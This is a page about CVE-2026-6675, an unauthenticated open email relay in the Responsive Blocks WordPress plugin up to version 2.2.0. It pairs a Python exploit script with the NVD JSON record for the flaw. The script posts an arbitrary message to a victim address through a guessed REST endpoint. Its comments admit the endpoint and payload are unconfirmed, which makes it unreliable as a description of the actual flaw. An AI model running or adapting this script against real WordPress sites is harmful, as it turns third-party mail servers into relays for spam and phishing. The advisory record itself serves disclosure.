CVE-2026-6675

import requests def exploit_open_relay(target_url, victim_email): # Vulnerable endpoint might be similar to /wp-json/rba/v1/send-email # Actual endpoint needs confirmation from source code analysis api_endpoint = f"{target_url}/wp-json/rba/v1/send-email" headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-6675-Scanner" } # Payload construction based on typical REST API structure payload = { "to": victim_email, "subject": "Security Alert: Open Relay Test", "body": "This email was sent via an unauthenticated open relay vulnerability." } try: response = requests.post(api_endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Success: Email likely sent to {victim_email}") print(f"[+] Server Response: {response.text}") else: print(f"[-] Failed: HTTP {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with target target_email = "[email protected]" exploit_open_relay(target, target_email)

{"cve": {"id": "CVE-2026-6675", "sourceIdentifier": "[email protected]", "published": "2026-04-21T03:16:09.210", "lastModified": "2026-04-22T20:22:50.570", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Responsive Blocks – Page Builder for Blocks & Patterns plugin for WordPress is vulnerable to Unauthenticated Open Email Relay in all versions up to, and including, 2.2.0. This is due to insufficient authorization checks and missing server-side validation of the recipient email address supplied via a public REST API route. This makes it possible for unauthenticated attackers to send arbitrary emails to any recipient of their choosing through the affected WordPress site's mail server, effectively turning the site into an open mail relay."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/responsive-block-editor-addons/tags/2.1.9/includes/class-responsive-block-editor-addons.php#L2212", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/responsive-block-editor-addons/tags/2.1.9/includes/class-responsive-block-editor-addons.php#L2324", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/responsive-block-editor-addons/tags/2.1.9/includes/class-responsive-block-editor-addons.php#L2403", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/responsive-block-editor-addons/trunk/includes/class-responsive-block-editor-addons.php#L2212", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/responsive-block-editor-addons/trunk/includes/class-responsive-block-editor-addons.php#L2324", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/responsive-block-editor-addons/trunk/includes/class-responsive-block-editor-addons.php#L2403", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/17452a29-bcef-451a-9893-a436ac5d3b80?source=cve", "source": "[email protected]"}]}}